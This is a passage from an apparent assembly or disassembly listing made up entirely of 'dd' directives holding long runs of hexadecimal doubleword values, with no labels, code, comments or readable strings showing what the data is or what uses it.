		dd 25B930C7h, 0E1A94D30h, 0E92E0011h, 0EE981A4Fh, 7C00F252h
		dd 1060F68Ah, 70DF67h, 404DC284h, 0A17824EFh, 0F7D33E01h
		dd 0CD510279h, 50CA0D30h, 7EBEC8F5h, 3FD7A22h, 0CC60352Eh
		dd 6BF888C7h, 0B30EE164h, 61451210h, 37E81CD3h,	9A4C24h
		dd 78A2C255h, 4A0767F6h, 9B1F9E00h, 632FA3F0h, 492407EEh
		dd 80E2BA4Ch, 0B3E067D0h, 9C20A00h, 7F6CA9Fh, 2E120F2Ch
		dd 0C1FA157h, 0D51025A8h, 0E40C9A00h, 0FC55104h, 8153006Bh
		dd 0FA47A0AEh, 200E7AAh, 0D68397A4h, 12ACDF2Bh,	3E01870h
		dd 8D51A2C8h, 8090288h,	0AEEBD700h, 1234D927h, 5D36033Eh
		dd 0F5BC32D1h, 0C89DD5F0h, 0EAF33903h, 0D89EC91Dh, 840690h
		dd 0B79DF59h, 7EF1B585h, 2052C00Ah, 610FC824h, 0ECD08103h
		dd 5C202D3Dh, 59CF005Fh, 0D3D90219h, 6E183A58h,	3F11FDB8h
		dd 102B00A5h, 13A41763h, 0CD1D9D0Bh, 84BA01B6h,	0E484FE16h
		dd 46899480h, 0F8A10270h, 830FCD95h, 34018389h,	0E8507627h
		dd 8D3DB452h, 555F0011h, 0EAD499E5h, 96000A0h, 30E2B6E4h
		dd 19003B93h, 0ABB3C264h, 60B1E56Ch, 77E1A887h,	9A309138h
		dd 28671007h, 0D6BB185Eh, 0F79970B6h, 0F07B0988h, 628E005Ah
		dd 91BC15B8h, 400D3A9h,	58D63D71h, 7C5AC51h, 218B8C34h
		dd 227D0337h, 0DF6E2AA8h, 0E918800h, 6A7B94ACh,	0F9500034h
		dd 0CD5244E6h, 49073065h, 0A7EBCC2h, 7F1A3211h,	1E0DE120h
		dd 181568B3h, 9C3A1077h, 87FBCF08h, 33A50076h, 0DC35790Ch
		dd 90637130h, 0C5DA244h, 0B0CEB2D7h, 4600F029h,	9D541F7h
		dd 4FBE72h, 3FE9CBD8h, 99D0A463h, 2801E74Ch, 403DE890h
		dd 0D3B78022h, 2E153B80h, 0F96E0208h, 0CDECFA8Ah, 51387240h
		dd 0CB00057Ah, 8FAAC4BFh, 0EEA2E08h, 7A7FA76Eh,	0D63CFE00h
		dd 0B1000350h, 461705C7h, 2CD3DF01h, 1DE4CA6h, 96A1C0Eh
		dd 0AF1034D0h, 0CA284000h, 0AD74510Bh, 0F41224F9h, 7AC600C8h
		dd 666EC58Bh, 14AFED00h, 0B313401Fh, 0FBD907BCh, 303D2A58h
		dd 7FA0D51Bh, 464F300h,	9A1A9DE2h, 0BF3E0040h, 57A692FFh
		dd 0EB103953h, 81036067h, 0B6BC8204h, 31C64901h, 5764D75Ch
		dd 2738AD4h, 789E3D49h,	0ECE08CC9h, 0EC007974h,	0CFF65692h
		dd 0FAB41141h, 0E33F0BE4h, 6A017D77h, 0E957FF69h, 0C04F4EFh
		dd 0D74F1900h, 0F22084CCh, 0B4525047h, 0ED630081h, 4ED60A5Ch
		dd 0BE01A519h, 5E2E0BC5h, 0A3F0048Fh, 838600B5h, 0EBA9A6ACh
		dd 1400BC52h, 50CF24F6h, 15AB5Dh, 0D7DD7126h, 5344ADBAh
		dd 5C7D5892h, 67030B02h, 60E617B1h, 3C5DB7ACh, 40007363h
		dd 25D1A1B2h, 0CD38E299h, 83C038C5h, 65565BD2h,	985ADB26h
		dd 3EBEA3E7h, 3D80543Ch, 6DEA94CFh, 1600988Bh, 0D8E1078Fh
		dd 0F347573h, 0FF3DDFA9h, 6CB0C0DFh, 0C4F53E1Bh, 5B184400h
		dd 148F8621h, 2F9700B6h, 0C1B84236h, 0C7FEC62Ch, 250CD907h
		dd 0DDB0FBEEh, 2EF95C46h, 8728E748h, 30DEEF6Ah,	7A8D2FBCh
		dd 9238A300h, 64C7474Bh, 0CE7C0041h, 0DB75586Fh, 62005570h
		dd 9A2244E0h, 33C4BF1h,	85FFD8Ah, 0E0DF8887h, 74F458B2h
		dd 7CDC232Eh, 0F7EC6287h, 60312432h, 3175C36Dh,	7C80A0A6h
		dd 0D040E1C8h, 0D05D6007h, 76007C6Ch, 0EF94E30Fh, 0C38A0BC7h
		dd 0ED07F08h, 1F88DD90h, 0D160C014h, 0B8530C18h, 26C7025h
		dd 0E074313Ch, 9CE811C3h, 0B300207Bh, 7628F6A6h, 4F127Fh
		dd 7A7CE3C0h, 5E92DFA7h, 7EFCEC00h, 395A8365h, 58B60517h
		dd 52674F3h, 0D36064h, 0C3F07238h, 0C0C07E79h, 60017C46h
		dd 742884D6h, 5E011C21h, 0F8B81729h, 0C8700F28h, 0B83070Ch
		dd 77F12126h, 5CD4A09Ch, 0E501DD3Dh, 1B398E52h,	58D0E9E0h
		dd 9BCF3F36h, 0F60100F7h, 0B0D0B50Eh, 5700F81Bh, 729A4719h
		dd 3C2A2B59h, 0DD001625h, 51E52C89h, 290001F2h,	5C267FFh
		dd 0EFF3BAh, 820C235Eh,	0E34B515Dh, 5550E100h, 0C2FF1952h
		dd 0B35E0096h, 90120DE4h, 240009B9h, 488E7282h,	0DD83ABh
		dd 535BAE38h, 0A7EBCF4Eh, 95F00F09h, 90005DFBh,	3E1E16FCh
		dd 0D233D400h, 73038F90h, 0F8DE4A54h, 20EE00C7h, 0E084396Eh
		dd 0FA14013Eh, 0A75568E5h, 6BEC4034h, 0FF2AB2CBh, 3C05DC10h
		dd 8A07272Ah, 3792D846h, 21066008h, 19272257h, 697C8800h
		dd 0E21F28BDh, 0FE9D20D6h, 49DC1C3Ch, 1E6C1F74h, 401872CEh
		dd 0D23D70D4h, 53F11429h, 0EA00D47Fh, 61B2E2A6h, 1F502AA1h
		dd 790B1B1Ch, 0AF0C3B1Dh, 45C701CCh, 4A60BCB6h,	60E03717h
		dd 2721EC09h, 41B64D03h, 0B07B4FBCh, 5AF12Bh, 0A9DCD6C9h
		dd 0CBFEAC1Bh, 9DDDCF00h, 86E685BDh, 3BF100C0h,	0CE45D17h
		dd 0C1C0F6F5h, 7EA2B8EBh, 6888487Ch, 8A07419h, 302180ECh
		dd 7A4FA2B1h, 36630F5Fh, 1F818EC4h, 803E5561h, 0E8A06EE0h
		dd 2C9C07C7h, 14E165h, 339210Bh, 9E000DC9h, 5D73CBC1h
		dd 3DDA3Fh, 5A67574Eh, 6CDB8CC8h, 0A1AFAD01h, 0C7070A4Ch
		dd 547A8F0h, 0A29EDEE9h, 3652C066h, 0FAB0E133h,	37649200h
		dd 4C5C5506h, 11210E9Bh, 0BA4E3FB5h, 8F7C62E0h,	1030B94h
		dd 41C6E79h, 0E80E79Fh,	90196772h, 30FA6853h, 1118DC04h
		dd 621028B2h, 0CEE907D3h, 3004A0C0h, 0CC0D8EF2h, 0AFCB8701h
		dd 0BDD26711h, 64424F30h, 211029ECh, 8B118227h,	0E0C417D1h
		dd 2447EC48h, 84BF90B8h, 0F848E1EDh, 2488B242h,	0E7F921A3h
		dd 7810D412h, 8D78989h,	0C6E545FEh, 898AFD10h, 5CF610FBh
		dd 4DC60026h, 0A6ECCC49h, 89006B01h, 0B010973Ah, 0BC0C93h
		dd 0BB6D25Ch, 0B75EFA3Ch, 7D58DA00h, 0A1BD5B51h, 150901F2h
		dd 0C2739EB9h, 0B10CE849h, 0BAB7EB00h, 29F26759h, 0FC3E04Ah
		dd 0AB547B38h, 9472BB80h, 100C9F4h, 0F9858764h,	3F233CFAh
		dd 6C0062D5h, 0EA6AF5A0h, 13008DAFh, 88CB54CFh,	74AF9BEh
		dd 444F9242h, 505697E9h
		dd 7A8185F0h, 0AFC3EC13h, 7390007h, 0E84006B0h,	2C9006Bh
		dd 44B48C77h, 0AF009ADAh, 0DF303A18h, 38F5F624h, 668079F8h
		dd 0A6C93BEAh, 9B7B8725h, 0D40F171Eh, 0E82EE640h, 365EE1h
		dd 2CEE9F64h, 0FD6CBAF6h, 0A537E50Fh, 0F1E6E099h, 467A6Ah
		dd 0BA55E79Fh, 0DAC6E8A2h, 0DF352A00h, 990E412Ch, 139E07BBh
		dd 0BFFCCFB5h, 28B670C6h, 913C6700h, 0EC28BB0Dh, 884A00A0h
		dd 8D0E3D53h, 4B031CD7h, 9019C8B1h, 0C32F80F8h,	77A30122h
		dd 0D5548736h, 0DD52604Dh, 6EF61A02h, 48D38025h, 7EB5570h
		dd 972EDB73h, 0B1142083h, 0A300BEE1h, 5DB69D57h, 0CA80B3h
		dd 87AE26ACh, 8C5A3DC3h, 0DDCC0A1Dh, 503B62C4h,	54209897h
		dd 0A8B363h, 78DF4E25h,	49A5AF70h, 20749D00h, 17E31F46h
		dd 731FC92h, 0EFC0AB09h, 4E9B60DCh, 681FC2CEh, 64C03D2Eh
		dd 93270584h, 0AEAA1FF8h, 98E2981Ch, 620045A2h,	0D6408CD7h
		dd 1C77567h, 93CE0296h,	60C1C2E8h, 1C00D375h, 129DB858h
		dd 561194Ah, 89F4C638h,	0A9A80050h, 0E49B852Eh,	741BD38h
		dd 0C81FA7E3h, 2038CF6Fh, 0D410D346h, 9FFF00E2h, 8C32CDF3h
		dd 87189329h, 66F03E78h, 56B6002Dh, 7C5CD8FDh, 0FB1F5257h
		dd 6040AA19h, 0C9C0380h, 7421DACh, 2F6A4E9Bh, 4CC82AA0h
		dd 2D3FABA1h, 85990372h, 0B943EE89h, 9020B73Ah,	751B07Bh
		dd 16F6FB59h, 106960BDh, 801F0489h, 5880E537h, 11889278h
		dd 0FAA51FB9h, 0CD1C46h, 548F5596h, 0B7FC6D7Eh,	0F08EA430h
		dd 0EEE49706h, 0C25C003Dh, 0DA2AB16Bh, 0D23E0317h, 0FC3328E3h
		dd 0F3EE4406h, 0A011CA41h, 60FB36F7h, 26551140h, 0B5000230h
		dd 9E7C0FECh, 25AFFCh, 4B106503h, 26591CE1h, 0EB903851h
		dd 0DC1FF5h, 40D479A8h,	5B1FD513h, 0B400C904h, 1A8B5FEBh
		dd 1E927570h, 5D9D0F0Eh, 0AC5E02ADh, 33600562h,	0C5481546h
		dd 5CFD0A3Ch, 0D300FACCh, 2660F37Bh, 12D8047Ch,	0BB72CE71h
		dd 61A0A087h, 3C65AE43h, 3B85256Fh, 0FAFAED70h,	2064BCC0h
		dd 9B6C1C3Eh, 4AA9C0B4h, 7A588351h, 93126100h, 0B076DD3Fh
		dd 415500DBh, 91702C09h, 0CFFA752Eh, 0A4EE9890h, 0BA7A3901h
		dd 20E0B3A0h, 8FC7DCh, 34EF9ECDh, 0D023EBF4h, 0F17E3505h
		dd 178083B6h, 6AD5Ch, 9B48FF2Ah, 0F3700D4Fh, 8077033Bh
		dd 0C3BF8ECDh, 3C048Dh,	81CC053Bh, 29E4F5C7h, 94204Dh
		dd 0C8634047h, 0CB4D87h, 2BB48030h, 92D3995Fh, 0CD981802h
		dd 633B8461h, 645088C5h, 78B80074h, 0A617F3FCh,	7348201Fh
		dd 0CD6007A8h, 0A320041Ah, 0C08B68h, 0EF727F80h, 0F819D3FDh
		dd 187E0575h, 50651F09h, 77F02452h, 44F67B80h, 0E44050EAh
		dd 2BA9002Ah, 1E4FB9CBh, 0F101FC9Dh, 0E1FA5155h, 71E88D6Eh
		dd 0E0B750EAh, 0DAC00E9h, 66CC735h, 0F1003AADh,	19EDFCB0h
		dd 36BF073h, 0ACD6DA87h, 0D0FC6D77h, 68543050h,	0D9C945F8h
		dd 236083E5h, 0C31107C9h, 4BDBC4h, 0CC5F2DF3h, 0D35E1800h
		dd 0A32A8BEAh, 0C6EF00E0h, 382BB83Bh, 0F00B24C9h, 0E178A7h
		dd 0AA7B7C10h, 0E81A1FB2h, 908A1455h, 9E48940Fh, 0C553AC23h
		dd 0BFEBFFC0h, 10AD4931h, 27F56E09h, 405CDCh, 82C8DCCCh
		dd 18034EF7h, 9D0089F4h, 0CB1E9AF6h, 200A2Eh, 15498EE0h
		dd 2394B268h, 0C77F0D00h, 21907003h, 329B079Ch,	0C0D5A57Ch
		dd 0E09DFF64h, 980B154h, 25CB9E1Eh, 30DA31C3h, 0E8B9E09Ah
		dd 0C0504824h, 0D508C401h, 47E65FD0h, 9820F0C0h, 0EA1E8BBEh
		dd 0D6571CE0h, 0A5426842h, 0E5DCA2CEh, 0DBA0C188h, 110C4D4h
		dd 93B678CAh, 30961BB4h, 393E0E2Ch, 54F8695h, 139BB07h
		dd 0F5865ED9h, 9D08D82Ch, 5D40DA70h, 0EB38F43Ch, 7B9F4870h
		dd 48E99401h, 3064B368h, 9900F340h, 2874533Eh, 1976F3Dh
		dd 6A3173BDh, 203806CCh, 0F9001D10h, 9E02056Ch,	124AB708h
		dd 5D15B62h, 0BDF26Fh, 9F28C888h, 6E0FB1BFh, 60CC3C66h
		dd 5C2BED6Bh, 0F0D4A8DAh, 0C650C3F3h, 0D1F9BAFEh, 14BDC62h
		dd 13821600h, 25C7D5EAh, 0F6A400EFh, 0DAD77039h, 740E1F57h
		dd 608FFEA8h, 3F4A24C5h, 0A898F8h, 3C96F84h, 0AA29F941h
		dd 0DC39AD00h, 5C179623h, 0B4BF001Eh, 66CE58D8h, 0F800620Eh
		dd 4AF48A65h, 73DDEF5Fh, 91EC07B7h, 3E9F9C25h, 0B5A02CCFh
		dd 198EC8F2h, 18DCA400h, 27C2B8C7h, 128D009Eh, 45D87B16h
		dd 4458FFC8h, 6B420030h, 11C5E432h, 0BAF81CD3h,	0F28C4390h
		dd 0D0803354h, 0AB2834EDh, 0AD00F8CDh, 56165D08h, 1BC0714h
		dd 5B9B6D7Ch, 2013C219h, 300058F9h, 0B55AC16Ch,	14DF42h
		dd 69F9E8D8h, 0CF648B4Fh, 0CD97300h, 0D7039027h, 548C4C11h
		dd 0C8D8F100h, 5AD0913Bh, 35883F00h, 839B2A8Dh,	0C4BE002Bh
		dd 0B57973F2h, 0FB01FC6Ch, 34663E8Ah, 0B870EFB2h, 5BA1059Ch
		dd 1B888B3h, 75CE28D4h,	9BE2D037h, 81C97E38h, 0FF2E6547h
		dd 66D017C6h, 0EC40B0CFh, 0B33518ADh, 0F79338D5h, 838FB43Bh
		dd 4CBAA04Ah, 2F1800D6h, 0B1151F6Dh, 451BCE51h,	0C0DEC078h
		dd 9809301h, 72C14CFEh,	86816800h, 5A00F516h, 0E2EBAE42h
		dd 0B26909h, 725E14F6h,	68E8CF1Dh, 0B947B728h, 5C4CA400h
		dd 6FFBE4CDh, 4EA100AAh, 0F3465799h, 8A9F8D86h,	0C8B8B85Fh
		dd 56A802A4h, 62E3B965h, 0FEA08144h, 302CD2ACh,	2F04424h
		dd 326D5929h, 0E6925C48h, 0F78FB602h, 4027F545h, 12A82BA0h
		dd 65C234h, 6FB0B880h, 45493587h, 989B00CCh, 19C261C4h
		dd 0F77C07E7h, 31BA0FE3h, 0DCEB4710h, 3206B8D5h, 0C1D83E88h
		dd 4CC600A0h, 0F95D7656h, 0B7031CFCh, 0A399B71h, 63A08086h
		dd 4CAC00BDh, 2C3BA6A2h, 0A7734ECAh, 416D2800h,	0E2918CCBh
		dd 0A9E501B9h, 59D2638Eh, 9B6070BBh, 0EBAAA70Fh, 4A4DEF73h
		dd 7B01FC51h, 0BCF35529h, 7F48F8h, 8EE7BA07h, 987A63ECh
		dd 0F456E100h, 2C4FBD2Fh, 0F8D36Dh, 9F2DD85Eh, 3400BC42h
		dd 36F13B76h, 0E4A7444h, 580C2B73h, 0DB7BF360h,	0B700F56Eh
		dd 0CF7CAB05h, 5CF0B34Dh, 0D102502Fh, 77FFB83Ch, 0C114B3E0h
		dd 0E9AC0D1Dh, 0CA6B4F83h, 2C378891h, 0B03407B7h, 70D23B36h
		dd 156DF820h, 1FF0E200h, 21AD5292h, 987258DCh, 97278407h
		dd 607CA09Ah, 4A17D48Fh, 4214EED7h, 3B48790Eh, 0DFAF00FCh
		dd 0DE40A880h, 0D77F48h, 0F072AD2Ah, 329A89F8h,	0A70005FEh
		dd 0AB28217Eh, 9FD440h,	89E30159h, 67DDDFFCh, 4CCB6A01h
		dd 0ECC2A851h, 24EDA060h, 1624AA79h, 0D4CC005Ch, 1FC71EABh
		dd 400ECC98h, 0E20E7B72h, 40522A62h, 69CB80h, 0E289716Fh
		dd 0CEA4FB61h, 0C47E8500h, 83D5FDDFh, 0FBC7547h, 99D99C39h
		dd 0AB0C1C80h, 0B400A4ADh, 1823A204h, 9030B01Bh, 8C5C0067h
		dd 33377883h, 0C0F214A7h, 0B4030FB8h, 24673F60h, 64FFE108h
		dd 11C7CA83h, 57B88739h, 0A0009843h, 0FB2C5896h, 747F7814h
		dd 1EC812E5h, 9D1F0768h, 3F6BB02Ah, 10C0A6C9h, 0DC2CEE89h
		dd 0A4DD1E77h, 673C0029h, 0E395182h, 5EAC2006h,	502310h
		dd 9335B730h, 761C4286h, 0BE1E0101h, 967E8103h,	7AC766F0h
		dd 0C0C530EFh, 336DE641h, 1FD37100h, 0F6D7D56Eh, 970809DCh
		dd 18C00CFDh, 0E0F0C687h, 4CB55500h, 0A03F594Eh, 15D1012Ch
		dd 89D3ADEEh, 6E9AD0D6h, 12058E0Fh, 40E320E1h, 0F3ECA0h
		dd 939ED10Bh, 6DD5583Ch, 0CF0F9F71h, 607DE5D8h,	192E02Eh
		dd 342A00FEh, 0D498FB63h, 3701D7A6h, 0E2C7C07Dh, 0E1CC714Ah
		dd 9751008Dh, 77042A7Eh
		dd 72302C35h, 5BD611F4h, 44F700E1h, 0AE487615h,	8302E2ABh
		dd 0F02CB90Dh, 98F5607Bh, 199300DCh, 0EDF5CA5Eh, 0C3E2EB1h
		dd 3C7C480Eh, 56B80C2h,	0A7760D03h, 844F0FD8h, 82A19515h
		dd 0FDAE298Fh, 6469E64Bh, 0F68086Fh, 83AAF2CAh,	146BEE2Fh
		dd 3A60D4AFh, 11869620h, 26005090h, 5128BBAEh, 780158D9h
		dd 6233012Ah, 4C0B75C6h, 4B86473h, 1F000498h, 44DD481Dh
		dd 3E7C76EBh, 63019679h, 0AD5F9B43h, 595482ABh,	0E05147DCh
		dd 4EE78Ch, 0F66894E4h,	46B28E76h, 3681EC00h, 0B8A45988h
		dd 56C21C9Fh, 5B0700C5h, 4A914565h, 5112DA00h, 0E377B002h
		dd 63970246h, 0C04B0B3Dh, 992E18Fh, 0A800C7BBh,	58EF1BF9h
		dd 15F7FA00h, 0CF906EBEh, 0DB8F00A7h, 39C0B22Ah, 1D172ED0h
		dd 0A020A589h, 55288FEh, 0B7CD5D15h, 0B800791h,	0F0469031h
		dd 5A00DB29h, 9AE764Ah,	98141B23h, 0AF860120h, 0AB31822Ah
		dd 0BE91C010h, 0E8444507h, 59C02F8Fh, 0EDB6C7h,	0C8760A08h
		dd 6A7C26AEh, 9C117160h, 550018Fh, 0E0EFE14Dh, 0A8548896h
		dd 80FD908Dh, 0F5328A28h, 0DFCA0A42h, 82EC694Eh, 0C75BE589h
		dd 0BA0544C8h, 841A5A3Bh, 74BB0AF7h, 0CD18C0E6h, 626D60EFh
		dd 3EF71C1Eh, 0FF9EC400h, 0A3CD7h, 0C1860719h, 7DA26354h
		dd 8F977800h, 0ACD2269Ch, 0C4C63936h, 47D60C86h, 597FC0C0h
		dd 0C282D100h, 0E828EB98h, 0D71E00F0h, 7CC05695h, 5B0FACBCh
		dd 0FCB5FE18h, 5C982BC1h, 2E47564h, 53100007h, 0AB3855A0h
		dd 4317BFBBh, 74008885h, 0C7445D45h, 0F778005Fh, 0A7A20D04h
		dd 720B8E30h, 80813B74h, 0C3DC15Ah, 0D8EE6734h,	99FAE036h
		dd 3AFCA423h, 387FBC07h, 0ACB0BBD5h, 3DE0898h, 1B56E4DDh
		dd 46802B45h, 1400ECA1h, 2DC1E2A5h, 127CAh, 20F3898Dh
		dd 0A3A02690h, 621DA21Dh, 0E7C05DDDh, 7BE04AACh, 82AD0084h
		dd 66954CA8h, 0F10C0DFEh, 30A24305h, 0AA700003h, 2256E95Ah
		dd 670162DEh, 1E20A8BDh, 0A050A7A4h, 0B23CB9h, 0C43822E2h
		dd 0FE91C888h, 3EF5372Eh, 4C9CDC00h, 0DD7834h, 8B5E0956h
		dd 55C43D38h, 70529E60h, 1B507F3h, 1F944B18h, 408625ACh
		dd 0A43CE5A0h, 99001494h, 0F7DCC048h, 44D63D76h, 6BE8004Ah
		dd 12C19D87h, 5B009B7Eh, 0CF4AA2B8h, 0F2A34D27h, 77700CCh
		dd 0A9ED8F0Bh, 8500676Bh, 0A7019D0Eh, 3A2BD6Ch,	4A4EC142h
		dd 9F88256Ah, 8505F09Ah, 0FD0E58FCh, 18B48A4h, 0E8B4C575h
		dd 705248BEh, 1F020A48h, 0EFBD80ADh, 935CE0B1h,	1EC70021h
		dd 7F9BB676h, 2B00D5A5h, 0B3141565h, 64AD273h, 2C81C13h
		dd 0B9025401h, 80CD2423h, 4B21E121h, 8641189h, 0D09F3D87h
		dd 401649CCh, 0D5F52D00h, 0DF378B0Ch, 0EA894CDAh, 6625C0Eh
		dd 39AE3EE1h, 85B8249Eh, 33695400h, 0D5BF5808h,	63FC03EDh
		dd 0A72B2292h, 0F6C7D8B1h, 0B14DCBC0h, 0E6B09712h, 57D04000h
		dd 398BF9h, 2D35E714h, 244AC17Ch, 0EAE60905h, 7000B708h
		dd 0B2D8DBFh, 4FD4EDEBh, 70C8FECBh, 0B02202E0h,	42E5D75Fh
		dd 29993C0h, 0D65DE700h, 27EC2548h, 0EA223EBDh,	0ADE84601h
		dd 0C45F529Ch, 710072A2h, 0F50BA8E3h, 0BAA76Bh,	565A9E48h
		dd 473E7810h, 0A80A7400h, 9C2F61CEh, 0CAD4E31Eh, 0FE140083h
		dd 0FD36DDFBh, 0E100C341h, 3FA095DCh, 1746A21Dh, 0AA90B8E7h
		dd 149F8200h, 0EABF3A3h, 2F3DDC91h, 496CF0A1h, 0A6A040A9h
		dd 1939CAE5h, 0D7F12EDDh, 0D69D8600h, 4231Ah, 20D58C2Fh
		dd 0B3CB5283h, 1954AD00h, 0BB7A0758h, 98660079h, 1057E424h
		dd 0EE0080CCh, 0F00E125Ch, 385F32C6h, 0D4D47927h, 9E0A0018h
		dd 0AE25CC38h, 910E6268h, 0F30360EDh, 278905Fh,	0AC59951Dh
		dd 408C4293h, 443EAA4h,	766B38C9h, 345880F2h, 0F704DD8h
		dd 0DEAF7314h, 7F840CECh, 9E38217Ah, 88021ABCh,	7107BC70h
		dd 2E882C60h, 0D6D15BC0h, 78C016Ch, 0C243140Ch,	6357C80Ah
		dd 0F481C400h, 6F97C5A7h, 935800D0h, 87A5C0C9h,	181E2CDBh
		dd 0F4C35A8Bh, 80155525h, 4F02A0h, 32D94134h, 1AC72799h
		dd 3B000F7Ch, 6BE5509Bh, 50BDF7B1h, 9784BFh, 3ED67123h
		dd 0A4FFCB27h, 732ECE00h, 8B86E943h, 1B9300E8h,	8E11ABAFh
		dd 214D830Fh, 40C30078h, 0A4EECE61h, 967601F2h,	26BBC939h
		dd 44F881F6h, 0D95EA1E2h, 0BFDBA850h, 0F0170023h, 0C5476D8Dh
		dd 281CF29Bh, 0ECE44002h, 0DE0FC700h, 0A017C1h,	1EA38FD8h
		dd 0BECF9566h, 8977E60Fh, 0E89100C9h, 2824C2B8h, 0E4CC81B9h
		dd 5EE2C7h, 0F2059F8Eh,	8B41B533h, 0E2600100h, 0A2E06A09h
		dd 0DF90E5Dh, 0F68E7E0Ah, 0C0C583A4h, 85D065A4h, 0DC0E4E00h
		dd 3534F4AFh, 0D19300E3h, 0F838FB8Ah, 0A4161FE7h, 0AB036239h
		dd 8820DC97h, 3C3732B1h, 5B805CC3h, 7FEFC411h, 0D9318F7Bh
		dd 20B99884h, 0EA9F28C0h, 0DB5800B3h, 66AF70F0h, 2F22EFFh
		dd 4869422Eh, 8500DC28h, 29A1637Dh, 1DA5A2EEh, 7F2644E8h
		dd 13CE7AEh, 18D67FC2h,	2E19D895h, 8D281B16h, 0F2DF3B00h
		dd 1DDDDC51h, 0DF92E81Dh, 40C15F5Fh, 0D529673h,	34008476h
		dd 3A16AA26h, 3C85BFEh,	0D9253EE7h, 0B0B82FF6h,	780752DAh
		dd 58ED3A94h, 3DC01E94h, 3E89C387h, 0F085FDh, 0BB525DE5h
		dd 10FE4057h, 1864063Ah, 6328CE83h, 24E20068h, 62C28032h
		dd 40B6D169h, 0D401C810h, 0EB6B1BABh, 0E34460C1h, 1C3A8006h
		dd 7640103Fh, 436E021Fh, 8CD76044h, 6A00BC5Ah, 0A972FC9Eh
		dd 233627h, 101CE141h, 1DB4C6E2h, 0BAA2C302h, 899F6921h
		dd 28209038h, 0EF40C574h, 34C0806Ch, 0BE0EE0E3h, 0E02EC8A7h
		dd 855F47A8h, 485602B9h, 39D72BCDh, 0D0645840h,	82339700h
		dd 849B0B74h, 0D46D27FEh, 0FA07F6FEh, 68F07D17h, 212B98h
		dd 6EF65FE0h, 0E29223DEh, 80ECD350h, 0CC682C07h, 13E7E9A3h
		dd 0B0EB5BA0h, 0E5FE0054h, 6945396Ah, 2C12193Eh, 5B0FCA16h
		dd 0B3A2E008h, 94FE946h, 954435E6h, 0CCD81823h,	1EF4AAC8h
		dd 6B56EC0Fh, 0B080E0D9h, 7EEF7F6h, 70EF6822h, 94D4B237h
		dd 0F6F03D7h, 0BF21D810h, 42C203B0h, 24B4661Dh,	0DC2028D0h
		dd 223B720Eh, 94CE2170h, 8C20FB17h, 17437BE9h, 4892D2h
		dd 0AEA1B824h, 65025E7h, 9C5CCCCFh, 0E60D1FDCh,	4FFB0EC0h
		dd 85B4EDh, 0A05712AEh,	48653703h, 0CF4B9B02h, 40A25513h
		dd 2ED358Ch, 2E053B94h,	10689095h, 9DB8BE56h, 0C90CF50Bh
		dd 5BCCC098h, 0E2620AEAh, 9F4699Bh, 7C524A53h, 80BB992Dh
		dd 0BD28B28h, 548602E1h, 976814A9h, 4912C0A0h, 0FF005925h
		dd 29491EEh, 71DF369h, 0C6E815D1h, 0C7D905D8h, 77A30055h
		dd 0E0B65BD2h, 5A58E709h, 0C7440074h, 4E06723Ch, 0A70078F9h
		dd 3DB88D5Ah, 8A528Fh, 2B0A07D2h, 0AAF8FC6Dh, 4DA60C09h
		dd 10218CACh, 5A770035h, 0C31FAD89h, 0E103994Ah, 0FD7546B8h
		dd 9D880086h, 267EC92h,	78907EADh, 1C07CD00h, 0FDD255A1h
		dd 0CFA900E5h, 6FC9965Dh, 3100DA9Ch, 213F62A3h,	361CD7h
		dd 0D56551DDh, 8A1A33E2h, 0DE79BD02h, 609FC705h, 0A0B8B4h
		dd 7E35F05Fh, 8339E340h, 88B9A12Ch, 752F9380h, 233ADAh
		dd 0CAA053CFh, 0F54F6722h, 0F48FBA00h, 0B7431F9Fh, 23823C15h
		dd 4E2DA4h, 5544CF29h, 0D879EACAh, 3D927201h, 0ED2287DDh
		dd 0F6400460h, 0FF540095h, 0FF0A3BEh, 0B7CA706h, 0D2210C01h
		dd 9F1D367h, 4F02442Ch,	5BDB18CCh, 7CBC9C78h, 569C0027h
		dd 9839E57Ch, 0E41960A2h
		dd 0F973ED8Fh, 0C9259800h, 3B996A5Eh, 0CE7D04h,	8C2BD062h
		dd 9109A779h, 56B4300Eh, 0C400F61Dh, 1B66B631h,	79050FD0h
		dd 2840250Dh, 1DCF7EC7h, 39621103h, 0D0455365h,	4A0ADAh
		dd 942B97E2h, 208F7CBCh, 27DC90Ch, 91187Fh, 0C813D501h
		dd 40F37030h, 7DE9C200h, 7A8669ADh, 0AB9F0029h,	0D526D66Bh
		dd 8805E21Eh, 0E833DEFDh, 813428C1h, 789A1F0h, 91EC28D9h
		dd 5213504Bh, 6B714103h, 700C6B8h, 3134B4CCh, 4E47E5Ch
		dd 687A213Ah, 6608E0D4h, 53828701h, 90DBA474h, 1CACA9A2h
		dd 0C56760h, 0AFB26254h, 0A3007324h, 0D95F35B8h, 3A223F06h
		dd 29891DD0h, 0C781ACDh, 851C7700h, 94E201F4h, 60F6FAE0h
		dd 92DEE89Fh, 78C0C575h, 31C92C43h, 68B812E5h, 8FA05CBEh
		dd 0A6AE3BEDh, 31C2732Fh, 0F4EA341Ah, 0C648C07Fh, 1DDEF0B6h
		dd 1DF9409Eh, 398C0291h, 0E4683B01h, 28A184B8h,	11DBD433h
		dd 1C083160h, 2D0F6544h, 0DEE0678Fh, 0C8189EE8h, 2A2037B7h
		dd 0F0B2FEh, 0F14296BAh, 0A9F445DEh, 7898EEF4h,	0BEA6CE00h
		dd 0CC4DB2ECh, 436A0AC9h, 8760AE98h, 882C343Ah,	6D30B419h
		dd 0E32C48h, 0F902C207h, 0FC1E0D51h, 40CFED03h,	0A81BEE32h
		dd 0EA6E3AC0h, 38A6001Ah, 8E129B57h, 5903BA4Bh,	0ED680F0Dh
		dd 28DBC0ABh, 8267004Ah, 8C524C22h, 5002D29h, 95E01463h
		dd 64E1CEh, 0D21D882Eh,	2201D9D3h, 3BC80800h, 0F6A7E798h
		dd 0BC9C00ABh, 91CD8E82h, 0E5738C6Ch, 0C6B4FF00h, 58C42164h
		dd 2867007Eh, 315A6B9Ah, 19006E59h, 0BCBF4277h,	395F826h
		dd 0FA90AFCBh, 47DD8D68h, 9093DA84h, 0DB8E3112h, 8639A919h
		dd 218EA708h, 5CA08B79h, 5D0B1B05h, 0D27F3Bh, 0E3273522h
		dd 54E2BCC1h, 99E8C0h, 6D50E7ECh, 2E3B38C8h, 0B7302DFAh
		dd 159828DBh, 1020220h,	0AEA892B4h, 839D15C1h, 8BBA0368h
		dd 2090DCA7h, 10561D5h,	0A6762270h, 987E2A3Bh, 0EA21DF08h
		dd 0CF050069h, 454CE81Bh, 50C0A1AEh, 0E13B3D6Ch, 0C1BC67C0h
